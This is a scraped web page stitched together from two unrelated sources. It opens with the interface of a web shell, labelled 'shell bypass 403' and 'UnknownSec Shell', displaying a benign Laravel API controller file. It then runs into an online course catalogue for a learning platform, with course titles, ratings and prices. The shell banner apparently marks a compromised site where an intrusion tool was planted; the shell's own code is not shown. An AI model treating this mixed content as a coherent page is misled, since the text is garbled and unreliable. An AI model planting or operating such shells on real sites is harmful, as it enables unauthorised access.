shell bypass 403

UnknownSec Shell


name : FileController.php
<?php

namespace App\Http\Controllers\Api\Panel;

use App\Http\Controllers\Api\Controller;
use App\Http\Resources\FileResource;
use App\Models\Api\File;
use App\Models\WebinarChapter;

class FileController extends Controller
{
    public function show($file_id)
    {
        $file = File::where('id', $file_id)
            ->where('files.status', WebinarChapter::$chapterActive)->first();
        abort_unless($file, 404);
        if ($error = $file->canViewError()) {
                   return $this->failure($error, 403, 403);
        }
        $resource = new FileResource($file);
        return apiResponse2(1, 'retrieved', trans('api.public.retrieved'), $resource);
    }
}

© 2025 UnknownSec
Courses | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar

Courses

17 Courses
Course
Web Design for Beginners

Web Design for Beginners

in Design
4.25
1:45 Hours
8 Jul 2021
₹11.80
40% Offer
The Future of Energy

The Future of Energy

in Science
2.50
1:10 Hours
8 Jul 2021
₹42.48 ₹70.80
20% Offer
Health And Fitness Masterclass

Health And Fitness Masterclass

in Health & Fitness
5.00
1:00 Hours
1 Jul 2021
₹18.88 ₹23.60
20% Offer
Learn and Understand AngularJS

Learn and Understand AngularJS

in Web Development
2.75
1:00 Hours
10 Dec 2023
₹18.88 ₹23.60
Finished
Effective Time Management

Effective Time Management

in Management
5.00
1:30 Hours
1 Aug 2023
₹35.40

Type

More options